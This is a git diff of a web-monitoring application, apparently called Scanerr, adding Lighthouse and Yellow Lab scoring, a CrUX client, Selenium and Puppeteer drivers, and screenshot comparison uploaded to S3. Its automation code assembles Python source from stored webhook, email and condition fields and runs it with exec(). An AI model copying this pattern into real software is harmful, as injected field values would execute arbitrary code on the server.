'float(test.lighthouse_delta["scores"]["current_average"])' + elif 'seo_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["seo_delta"])' + elif 'pwa_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["pwa_delta"])' + elif 'crux_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["crux_delta"])' + elif 'best_practices_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["best_practices_delta"])' + elif 'performance_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["performance_delta"])' + elif 'accessibility_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["accessibility_delta"])' + # lighthouse scan data + elif 'lighthouse_average' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["average"])' + elif 'seo' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["seo"])' + elif 'pwa' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["pwa"])' + elif 'crux' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["crux"])' + elif 'best_practices' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["best_practices"])' + elif 'performance' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["performance"])' + elif 'accessibility' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["accessibility"])' + + # yellowlab test data + elif 'current_yellowlab_average' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["current_average"])' + elif 'pageWeight_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["pageWeight_delta"])' + elif 'requests_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["requests_delta"])' + elif 'domComplexity_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["domComplexity_delta"])' + elif 'javascriptComplexity_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["javascriptComplexity_delta"])' + elif 'badJavascript_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["badJavascript_delta"])' + elif 'jQuery_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["jQuery_delta"])' + elif 'cssComplexity_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["cssComplexity_delta"])' + elif 'badCSS_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["badCSS_delta"])' + elif 'fonts_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["fonts_delta"])' + elif 'serverConfig_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["serverConfig_delta"])' + # yellowlab scan data + elif 'yellowlab_average' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["globalScore"])' + elif 'pageWeight' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["pageWeight"])' + elif 'requests' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["requests"])' + elif 'domComplexity' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["domComplexity"])' + elif 'javascriptComplexity' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["javascriptComplexity"])' + elif 'badJavascript' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["badJavascript"])' + elif 'jQuery' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["jQuery"])' + elif 'cssComplexity' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["cssComplexity"])' + elif 'badCSS' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["badCSS"])' + elif 'fonts' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["fonts"])' + elif 'serverConfig' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["serverConfig"])' + + + elif 'logs' in expression['data_type']: + data_type = 'len(scan.logs)' + + elif 'current_health' in expression['data_type']: + data_type = '((float(test.lighthouse_delta["scores"]["current_average"]) + float(test.yellowlab_delta["scores"]["current_average"]))/2)' + + elif 'health' in expression['data_type']: + data_type = '((float(scan.lighthouse["scores"]["average"]) + float(scan.yellowlab["scores"]["globalScore"]))/2)' + + elif 'avg_image_score' in expression['data_type']: + data_type = 'float(test.images_delta["average_score"])' + + elif 'image_scores' in expression['data_type']: + data_type = '[i["score"] for i in test.images_delta["images"]]' + exp = f'{joiner}any(i{operator}{value} for i in {data_type})' + + if exp is None: + exp = f'{joiner}{data_type}{operator}{value}' + + exp_list.append(exp) + + + + for action in actions: + + if 'slack' in action['action_type']: + action_type = f"\n print('sending slack alert')\ + \n automation_slack(automation_id='{str(automation.id)}', \ + object_id='{str(object_id)}')" + + if 'webhook' in action['action_type']: + action_type = f"\n print('sending webhook alert')\ + \n automation_webhook(request_type='{action['request']}', \ + request_url='{action['url']}', request_data='{action['json']}', \ + automation_id='{str(automation.id)}', \ + object_id='{str(object_id)}')" + + if 'email' in action['action_type']: + action_type = f"\n print('sending email alert')\ + \n automation_email(email='{action['email']}',\ + automation_id='{str(automation.id)}', \ + object_id='{str(object_id)}')" + + if report: + action_type = f"\n print('sending report email')\ + \n automation_report_email(email='{action['email']}',\ + automation_id='{str(automation.id)}', \ + object_id='{str(object_id)}')" + + if 'phone' in action['action_type']: + action_type = f"\n print('sending phone alert')\ + \n automation_phone(phone_number='{action['phone']}', \ + automation_id='{str(automation.id)}', \ + object_id='{str(object_id)}')" + + act = f'{action_type}' + act_list.append(act) + + + exp_string = ' '.join(exp_list) + act_string = ''.join(act_list) + + if not use_exp: + exp_string = '1 == 1' + + automation_logic = f'if {exp_string}:{act_string}' + print(automation_logic) + exec(automation_logic) + + return True + + + + + + + + + + + + \ No newline at end of file diff --git a/app/api/utils/crux.py b/app/api/utils/crux.py new file mode 100644 index 00000000..73601c4e --- /dev/null +++ b/app/api/utils/crux.py @@ -0,0 +1,36 @@ +import requests, os, json + + + +class Crux(): + + def __init__(self, site_url): + self.site_url = site_url + self.key = os.environ.get('GOOGLE_CRUX_KEY') + + + def get_data(self): + + url = f'https://chromeuxreport.googleapis.com/v1/records:queryRecord?key={self.key}' + headers = { + "Content-Type": "application/json", + } + data = { + "origin": str(self.site_url), + } + + res = requests.post( + url=url, + headers=headers, + data=json.dumps(data) + ) + + response = res.json() + + if res.status_code != 200: + response = { + "status": "failed", + "message": "This site_url does not have enough historical data in the CRUX API to respond with." + } + + return response diff --git a/app/api/utils/custom-config.js b/app/api/utils/custom-config.js new file mode 100644 index 00000000..cae0befc --- /dev/null +++ b/app/api/utils/custom-config.js @@ -0,0 +1,14 @@ +// custom configurations for Lighthouse CLI + + + +module.exports = { + extends: 'lighthouse:default', + plugins: ['lighthouse-plugin-crux'], + settings: { + cruxToken: process.env.GOOGLE_CRUX_KEY, + skipAudits: [ + "full-page-screenshot", + ], + }, +} \ No newline at end of file diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py new file mode 100644 index 00000000..d3fffebf --- /dev/null +++ b/app/api/utils/driver_p.py @@ -0,0 +1,176 @@ +from pyppeteer import launch + +import time, os, numpy, json, sys, datetime, asyncio + + + +async def driver_init( + window_size='1920,1080', + wait_time=30, + ): + + sizes = window_size.split(',') + + options = { + 'executablePath': os.environ.get('CHROMIUM'), + 'args': [ + '--no-sandbox', + '--disable-dev-shm-usage', + f'--window-size={window_size}', + ], + 'defaultViewport': { + 'width': int(sizes[0]), + 'height': int(sizes[1]), + }, + 'timeout': wait_time * 1000 + } + + driver = await launch( + options=options, + headless=True, + handleSIGINT=False, + handleSIGTERM=False, + handleSIGHUP=False + ) + + return driver + + + + + +async def interact_with_page(page): + # simulate mouse movement + await page.mouse.move(0, 0) + await page.mouse.move(0, 100) + + return page + + + + + + +async def driver_test(*args, **options): + + print("Testing puppeteer instalation and integration...") + + try: + driver = await driver_init() + page = await driver.newPage() + await page.goto('https://google.com', {'waitUntil': 'networkidle0'}) + await interact_with_page(page) + title = await page.title() + assert title == 'Google' + if title == 'Google': + status = 'Success' + else: + status = 'Failed' + await driver.close() + except Exception as e: + print(e) + status = 'Failed' + + sys.stdout.write('--- ' + status + ' ---\n' + + 'Puppeteer installed and working \N{check mark} \n' + ) + + + + + + +async def get_data(url, configs, *args, **options): + sizes = configs['window_size'].split(',') + driver = await driver_init(window_size=configs['window_size']) + page = await driver.newPage() + + page_options = { + 'waitUntil': 'networkidle0', + 'timeout': configs['max_wait_time']*1000 + } + viewport = { + 'width': int(sizes[0]), + 'height': int(sizes[1]), + } + + userAgent = ( + "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ + (KHTML, like Gecko) Chrome/99.0.4812.0 Safari/537.36" + ) + + await page.setViewport(viewport) + + if configs['device'] == 'mobile': + await page.setUserAgent(userAgent) + + + logs = [] + def record_logs(log): + if log.type == 'error': + if '.js' in log.text: + source = 'javascript' + elif 'http' in log.text: + source = 'network' + else: + source = 'other' + log_obj = { + "level": "SEVERE", + "source": source, + "message": str(log.text), + "timestamp": int(datetime.datetime.now().timestamp() * 1000) + } + logs.append(log_obj) + elif log.type == 'warning': + if '.js' in log.text: + source = 'javascript' + elif 'http' in log.text: + source = 'network' + else: + source = 'other' + log_obj = { + "level": "WARNING", + "source": source, + "message": str(log.text), + "timestamp": int(datetime.datetime.now().timestamp() * 1000) + } + logs.append(log_obj) + + def record_network(request): + log_obj = { + "level": "SEVERE", + "source": "network", + "message": f'{request.failure()["errorText"]} {request.url}', + "timestamp": int(datetime.datetime.now().timestamp() * 1000) + } + logs.append(log_obj) + + def record_error(error): + err = str(error).split(' at ')[0] + log_obj = { + "level": "SEVERE", + "source": "javascript", + "message": f'{err}', + "timestamp": int(datetime.datetime.now().timestamp() * 1000) + } + logs.append(log_obj) + + + page.on('console', lambda log : record_logs(log)) + page.on('requestfailed', lambda request : record_network(request)) + page.on('pageerror', lambda error : record_error(error)) + + await page.goto(url, page_options) + + # await page.waitForNavigation(navWaitOpt) + await interact_with_page(page) + html = await page.content() + + await driver.close() + + data = { + 'html': html, + 'logs': logs, + } + + return data \ No newline at end of file diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py new file mode 100644 index 00000000..582c3b0e --- /dev/null +++ b/app/api/utils/driver_s.py @@ -0,0 +1,167 @@ +from selenium import webdriver +from selenium.webdriver.common.desired_capabilities import DesiredCapabilities +from selenium.webdriver import ActionChains +import time, os, numpy, json, sys + + + +def driver_init( + window_size='1920,1080', + device='desktop', + script_timeout=30, + load_timeout=30, + wait_time=15, + ): + + sizes = window_size.split(',') + + prefs = { + 'download.prompt_for_download': False, + 'download.extensions_to_open': '.zip', + 'safebrowsing.enabled': True + } + + mobile_emulation = { + "deviceMetrics": { "width": int(sizes[0]), "height": int(sizes[1]), "pixelRatio": 1.0 }, + "userAgent": ( + "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ + (KHTML, like Gecko) Chrome/99.0.4844.74 Mobile Safari/537.36" + ) + } + + chromedriver_path = os.environ.get("CHROMEDRIVER") + options = webdriver.ChromeOptions() + options.binary_location = os.environ.get('CHROMIUM') + options.add_argument("--no-sandbox") + options.add_argument("disable-blink-features=AutomationControlled") + options.add_experimental_option('prefs',prefs) + options.add_argument("start-maximized") + options.add_argument("--headless") + options.add_argument("--disable-dev-shm-usage") + options.add_argument("--window-size=%s" % window_size) + + if device == 'mobile': + options.add_experimental_option("mobileEmulation", mobile_emulation) + + caps = DesiredCapabilities.CHROME + caps['goog:loggingPrefs'] = {'performance': 'ALL'} + + driver = webdriver.Chrome(executable_path=chromedriver_path, options=options, desired_capabilities=caps) + driver.set_page_load_timeout(load_timeout) + driver.set_script_timeout(script_timeout) + driver.implicitly_wait(wait_time) + + + return driver + + +def driver_test(): + + print("Testing selenium instalation and integration...") + try: + driver = driver_init() + driver.get('https://google.com') + title = driver.title + assert title == 'Google' + if title == 'Google': + status = 'Success' + else: + status = 'Failed' + except Exception as e: + print(e) + status = 'Failed' + + sys.stdout.write('--- ' + status + ' ---\n' + + 'Selenium installed and working \N{check mark} \n' + ) + + quit_driver(driver) + sys.exit(0) + + + +def driver_wait(driver, interval=5, max_wait_time=30, min_wait_time=5): + """ + Pauses the driver until all network requests have been resolved + + --> Adding mouse interaction to load WP plugin rendered content + + returns once driver determines that all request have resolved or + total wait time exceeds max_wait_time + + """ + + def get_request_list(driver): + # get current snapshot of driver requests + requests = driver.get_log('performance') + r_list = [] + for r in requests: + network_log = json.loads(r["message"])["message"] + + # Checks if the current 'method' key has any Network related value. + if("Network.response" in network_log["method"] + or "Network.request" in network_log["method"] + or "Network.webSocket" in network_log["method"]): + + r_list.append(network_log) + + return r_list + + + def interact_with_page(driver): + # simulate mouse movement and click on tag + html_tag = driver.find_elements_by_tag_name('html')[0] + action = ActionChains(driver) + action.move_to_element(html_tag).perform() + return + + + resolved = False + wait_time = 0 + + # actions before comparing network logs + interact_with_page(driver) + time.sleep(min_wait_time) + + while not resolved and wait_time < max_wait_time: + # get first set of logs + list_one = get_request_list(driver=driver) + + # wait 5 sec or sec for request to resolve + time.sleep(interval) + + # get second set of logs + list_two = get_request_list(driver=driver) + + # check if logs are equal + resolved = numpy.array_equal(list_one, list_two) + + wait_time += interval + + return + + + + +def quit_driver(driver): + ''' + Quits and reaps all child processes in docker + ''' + print('Quitting session: %s' % driver.session_id) + driver.quit() + try: + pid = True + while pid: + pid = os.waitpid(-1, os.WNOHANG) + print("Reaped child: %s" % str(pid)) + + # avoid infinite loop cause pid value -> (0, 0) + try: + if pid[0] == 0: + pid = False + except: + pass + + + except ChildProcessError: + pass \ No newline at end of file diff --git a/app/api/utils/image.py b/app/api/utils/image.py new file mode 100644 index 00000000..93dd53d7 --- /dev/null +++ b/app/api/utils/image.py @@ -0,0 +1,684 @@ +from .driver_s import driver_init, driver_wait, quit_driver +from .driver_p import driver_init as driver_init_p +from selenium import webdriver +from ..models import Site, Scan, Test +from selenium.webdriver.chrome.options import Options +from django.forms.models import model_to_dict +from django.core.serializers.json import DjangoJSONEncoder +from sewar.full_ref import uqi, mse, ssim, msssim, psnr, ergas, vifp, rase, sam, scc +from scanerr import settings +from PIL import Image as I, ImageChops, ImageStat +from pyppeteer import launch +import time, os, sys, json, uuid, boto3, \ + statistics, shutil, numpy, cv2 + + + + + +class Image(): + """ + High level Image handler used to compare screenshots of + a website and retrieve single one-page screenshots. + Also known as VRT or Visual Regression Testing. + Contains five methods scan(), scan_p(), test(), + screenshot(), and screenshot_p(): + + def scan(site, driver=None) -> grabs multiple + screenshots of the website and uploads + them to s3. + + + def test(test=) -> compares each + screenshot in the two scans and records + a score out of 100% + + + def screeshot(site, driver=None) -> grabs single + screenshot of the site and uploads it to s3 + + """ + + + def __init__(self): + + # Masking scripts + self.set_jquery = ( + """ + var jq = document.createElement('script'); + jq.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"; + document.getElementsByTagName('head')[0].appendChild(jq); + """ + ) + + self.mask_function = ( + """ + (function($){ + $.fn.overlayMask = function (action) { + var mask = this.find('.overlay-mask'); + + // Create the required mask + + if (!mask.length) { + this.css({ + position: 'relative' + }); + mask = $('
'); + mask.css({ + position: 'absolute', + width: '100%', + height: '100%', + color: 'green', + backgroundColor: 'green', + top: '0px', + left: '0px', + zIndex: 100, + }).appendTo(this); + } + + // Act based on params + + if (!action || action === 'show') { + mask.show(); + } else if (action === 'hide') { + mask.hide(); + } + + return this; + }; + })(jQuery) + + """ + ) + + + def scan(self, site, configs, driver=None,): + """ + Grabs multiple screenshots of the website and uploads + them to s3. + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # initialize driver if not passed as param + driver_present = True + if not driver: + driver = driver_init() + driver_present = False + + + # request site_url + driver.get(site.site_url) + + # waiting for network requests to resolve + driver_wait( + driver=driver, + interval=int(configs['interval']), + min_wait_time=int(configs['min_wait_time']), + max_wait_time=int(configs['max_wait_time']), + ) + + # mask all listed ids + if configs['mask_ids'] is not None and configs['mask_ids'] != '': + ids = configs['mask_ids'].split(',') + for id in ids: + try: + driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';") + print('masked an element') + except: + print('cannot find element via id provided') + + + # scroll one frame at a time and capture screenshot + image_array = [] + index = 0 + last_height = -1 + bottom = False + while not bottom: + + # scroll single frame + if index != 0: + # driver.execute_script("window.scrollBy(0, window.innerHeight);") + driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);") + time.sleep(int(configs['min_wait_time'])) + + # get current position and compare to previous + new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight") + height_diff = new_height - last_height + if height_diff > 20: + last_height = new_height + pic_id = uuid.uuid4() + + # waiting for network requests to resolve + driver_wait( + driver=driver, + interval=int(configs['interval']), + min_wait_time=int(configs['min_wait_time']), + max_wait_time=int(configs['max_wait_time']), + ) + + # get screenshot + driver.save_screenshot(f'{pic_id}.png') + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + remote_path = f'static/sites/{site.id}/{pic_id}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(image, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + # remove local copy + os.remove(image) + + # create image obj and add to list + img_obj = { + "index": index, + "id": str(pic_id), + "url": image_url, + "path": remote_path, + } + + image_array.append(img_obj) + + index += 1 + + else: + bottom = True + + if not driver_present: + quit_driver(driver) + + return image_array + + + + async def scan_p(self, site, configs): + """ + Using Puppeteer, grabs multiple screenshots of the website and uploads + them to s3. + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + driver = await driver_init_p(window_size=configs['window_size'], wait_time=configs['max_wait_time']) + page = await driver.newPage() + + sizes = configs['window_size'].split(',') + is_mobile = False + if configs['device'] == 'mobile': + is_mobile = True + + page_options = { + 'waitUntil': 'networkidle0', + 'timeout': configs['max_wait_time']*1000 + } + + viewport = { + 'width': int(sizes[0]), + 'height': int(sizes[1]), + 'isMobile': is_mobile, + } + + userAgent = ( + "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ + (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36" + ) + + emulate_options = { + 'viewport': viewport, + 'userAgent': userAgent + } + + if configs['device'] == 'mobile': + await page.emulate(emulate_options) + else: + await page.setViewport(viewport) + + # requesting site url + await page.goto(site.site_url, page_options) + + + # mask all listed ids + if configs['mask_ids'] is not None and configs['mask_ids'] != '': + ids = configs['mask_ids'].split(',') + for id in ids: + try: + await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';") + print('masked an element') + except: + print('cannot find element via id provided') + + + # scroll one frame at a time and capture screenshot + image_array = [] + index = 0 + last_height = -1 + bottom = False + while not bottom: + + # scroll single frame + if index != 0: + await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);") + time.sleep(int(configs['min_wait_time'])) + + # get current position and compare to previous + new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight") + height_diff = new_height - last_height + if height_diff > 20: + last_height = new_height + pic_id = uuid.uuid4() + + # interact with and wait for page to load + await page.mouse.move(0, 0) + await page.mouse.move(0, 100) + time.sleep(configs['min_wait_time']) + + + # get screenshot + await page.screenshot({'path': f'{pic_id}.png'}) + + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + remote_path = f'static/sites/{site.id}/{pic_id}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(image, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + # remove local copy + os.remove(image) + + # create image obj and add to list + img_obj = { + "index": index, + "id": str(pic_id), + "url": image_url, + "path": remote_path, + } + + image_array.append(img_obj) + + index += 1 + + else: + bottom = True + + + await driver.close() + + return image_array + + + + + + def test(self, test, index=None): + """ + Compares each screenshot between the two scans and records + a score out of 100%. + + Compairsons used : + - Structral Similarity Index (ssim) + - PIL ImageChop Differences, Ratio + - cv2 ORB Brute-force Matcher, Ratio + + + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # setup temp files + if not os.path.exists(os.path.join(settings.BASE_DIR, f'temp/{test.site.id}')): + os.makedirs(os.path.join(settings.BASE_DIR, f'temp/{test.site.id}')) + + # temp root + temp_root = os.path.join(settings.BASE_DIR, f'temp/{test.site.id}') + + # loop through and download each img in scan and compare it. + pre_scan_images = test.pre_scan.images + img_test_results = [] + scores = [] + i = 0 + + if index is not None: + pre_scan_images = [test.pre_scan.images[index]] + i = index + + for pre_img_obj in pre_scan_images: + + # getting pre_scan image + pre_img_path = os.path.join(temp_root, f'{pre_img_obj["id"]}.png') + with open(pre_img_path, 'wb') as data: + s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), pre_img_obj["path"], data) + + # open with PIL Image library + pre_img = I.open(pre_img_path) + # convert to array + pre_img_array = numpy.array(pre_img) + + # getting post_scan image + try: + post_img_obj = test.post_scan.images[i] + except: + post_img_obj = None + + if post_img_obj is not None: + post_img_path = os.path.join(temp_root, f'{post_img_obj["id"]}.png') + with open(post_img_path, 'wb') as data: + s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), post_img_obj["path"], data) + + # open with PIL Image library + post_img = I.open(post_img_path) + # convert to array + post_img_array = numpy.array(post_img) + + + # test images with PIL + def pil_score(pre_img, post_img): + try: + if (pre_img.mode != post_img.mode) \ + or (pre_img.size != post_img.size) \ + or (pre_img.getbands() != post_img.getbands()): + raise Exception('images are not comparable') + + # Generate diff image in memory. + diff_img = ImageChops.difference(pre_img, post_img) + # Calculate difference as a ratio. + stat = ImageStat.Stat(diff_img) + diff_ratio = (sum(stat.mean) / (len(stat.mean) * 255)) * 100 + pil_img_score = (100 - diff_ratio) + # print(f'PIL score -> {pil_img_score}') + return pil_img_score + + except Exception as e: + print(e) + + + # test with cv2 + def cv2_score(pre_img_array, post_img_array): + try: + orb = cv2.ORB_create() + + # detect keypoints and descriptors + kp_a, desc_a = orb.detectAndCompute(pre_img_array, None) + kp_b, desc_b = orb.detectAndCompute(post_img_array, None) + + # define the bruteforce matcher object + bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True) + + # perform matches. + matches = bf.match(desc_a, desc_b) + # Look for similar regions with distance < 20. (from 0 to 100) + similar_regions = [i for i in matches if i.distance < 20] + if len(matches) == 0: + cv2_img_score = 100 + else: + cv2_img_score = (len(similar_regions) / len(matches)) * 100 + # print(f'cv2 -> {cv2_img_score}') + + return cv2_img_score + + except Exception as e: + print(e) + + + + # test images + try: + img_score_tupple = ssim(pre_img_array, post_img_array) + img_score_list = list(img_score_tupple) + ssim_img_score = statistics.fmean(img_score_list) * 100 + # print(f'ssim -> {ssim_img_score}') + + pil_img_score = pil_score(pre_img, post_img) + # print(f'pil -> {pil_img_score}') + + cv2_img_score = cv2_score(pre_img_array, post_img_array) + # print(f'cv2 -> {cv2_img_score}') + + img_score = ((ssim_img_score * 2) + (pil_img_score * 1) + (cv2_img_score * 5)) / 8 + # print(f'img_score ==> {img_score}') + + except Exception as e: + print(e) + img_score = None + + # create img test obj and add to array + img_test_obj = { + "index": i, + "pre_img": pre_img_obj, + "post_img": post_img_obj, + "score": img_score, + } + + img_test_results.append(img_test_obj) + scores.append(img_score) + + # remove local copies + if post_img_obj is not None: + os.remove(post_img_path) + os.remove(pre_img_path) + + i += 1 + + # remove temp dir + shutil.rmtree(temp_root) + + # averaging scores and storing in images_delta obj + try: + avg_score = statistics.fmean(scores) + except: + avg_score = None + + images_delta = { + "average_score": avg_score, + "images": img_test_results, + } + + return images_delta + + + + + + + + def screenshot(self, site=None, url=None, configs=None, driver=None): + """ + Grabs single screenshot of the website and uploads + it to s3. + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + if not configs: + configs = { + "interval": 5, + "window_size": "1920,1080", + "max_wait_time": 60, + "min_wait_time": 10, + "device": "desktop" + } + + # initialize driver if not passed as param + if not driver: + driver = driver_init(window_size=configs['window_size'], device=configs['device']) + + + # get or create site data + if site is None: + site_id = uuid.uuid4() + site_url = url + else: + site_id = site.id + site_url = site.site_url + + # request site_url + driver.get(site_url) + + + # wait for site to fully load + driver_wait( + driver=driver, + interval=int(configs['interval']), + min_wait_time=int(configs['min_wait_time']), + max_wait_time=int(configs['max_wait_time']), + ) + + # grab screenshot + pic_id = uuid.uuid4() + driver.save_screenshot(f'{pic_id}.png') + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + remote_path = f'static/sites/{site_id}/{pic_id}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(image, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + # remove local copy + os.remove(image) + + # create image obj and add to list + img_obj = { + "id": str(pic_id), + "url": image_url, + "path": remote_path, + } + + # quit driver + quit_driver(driver) + + return img_obj + + + + async def screenshot_p(self, site=None, url=None, configs=None): + """ + Using Puppeteer, grabs single screenshot of the website and uploads + it to s3. + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + if not configs: + configs = { + "interval": 5, + "driver": "puppeteer", + "device": "desktop", + "window_size": "1920,1080", + "max_wait_time": 60, + "min_wait_time": 10 + } + + driver = await driver_init_p(window_size=configs['window_size'], wait_time=configs['max_wait_time']) + page = await driver.newPage() + + sizes = configs['window_size'].split(',') + is_mobile = False + if configs['device'] == 'mobile': + is_mobile = True + + page_options = { + 'waitUntil': 'networkidle0', + 'timeout': configs['max_wait_time']*1000 + } + + viewport = { + 'width': int(sizes[0]), + 'height': int(sizes[1]), + 'isMobile': is_mobile, + } + + userAgent = ( + "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ + (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36" + ) + + emulate_options = { + 'viewport': viewport, + 'userAgent': userAgent + } + + if configs['device'] == 'mobile': + await page.emulate(emulate_options) + else: + await page.setViewport(viewport) + + # get or create site data + if site is None: + site_id = uuid.uuid4() + site_url = url + else: + site_id = site.id + site_url = site.site_url + + # request site_url + await page.goto(site_url, page_options) + + # interact with and wait for page to load + await page.mouse.move(0, 0) + await page.mouse.move(0, 100) + time.sleep(configs['min_wait_time']) + + # get screenshot + pic_id = uuid.uuid4() + await page.screenshot({'path': f'{pic_id}.png'}) + await driver.close() + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + remote_path = f'static/sites/{site_id}/{pic_id}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(image, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + # remove local copy + os.remove(image) + + # create image obj and add to list + img_obj = { + "id": str(pic_id), + "url": image_url, + "path": remote_path, + } + + return img_obj \ No newline at end of file diff --git a/app/api/scan_tests/lighthouse.py b/app/api/utils/lighthouse.py similarity index 55% rename from app/api/scan_tests/lighthouse.py rename to app/api/utils/lighthouse.py index 4a20400e..dd29d403 100644 --- a/app/api/scan_tests/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -1,30 +1,35 @@ -from io import StringIO -import os, fileinput, glob, subprocess, time, sys, json +import subprocess, json from ..models import Site, Scan -from django.forms.models import model_to_dict class Lighthouse(): - """Initialized Google's Lighthouse CLI and runs an audit of the site""" + """Initializes Google's Lighthouse CLI and runs an audit of the site""" - def __init__(self, site=None): + def __init__(self, site=None, configs=None): self.site = site + self.configs = configs + self.sizes = configs['window_size'].split(',') def init_audit(self): proc = subprocess.Popen([ 'lighthouse', - '--config-path=api/scan_tests/custom-config.js', + '--config-path=api/utils/custom-config.js', '--quiet', self.site.site_url, - '--chrome-flags="--no-sandbox --headless"', + '--plugins=lighthouse-plugin-crux', + '--chrome-flags="--no-sandbox --headless --disable-dev-shm-usage"', + f'--screenEmulation.width={self.sizes[0]}', + f'--screenEmulation.height={self.sizes[1]}', + f'--screenEmulation.{self.configs["device"]}', '--output', 'json', ], stdout=subprocess.PIPE, + user='app', ) stdout_value = proc.communicate()[0] return stdout_value @@ -49,32 +54,52 @@ def get_data(self): "accessibility": [], "performance": [], 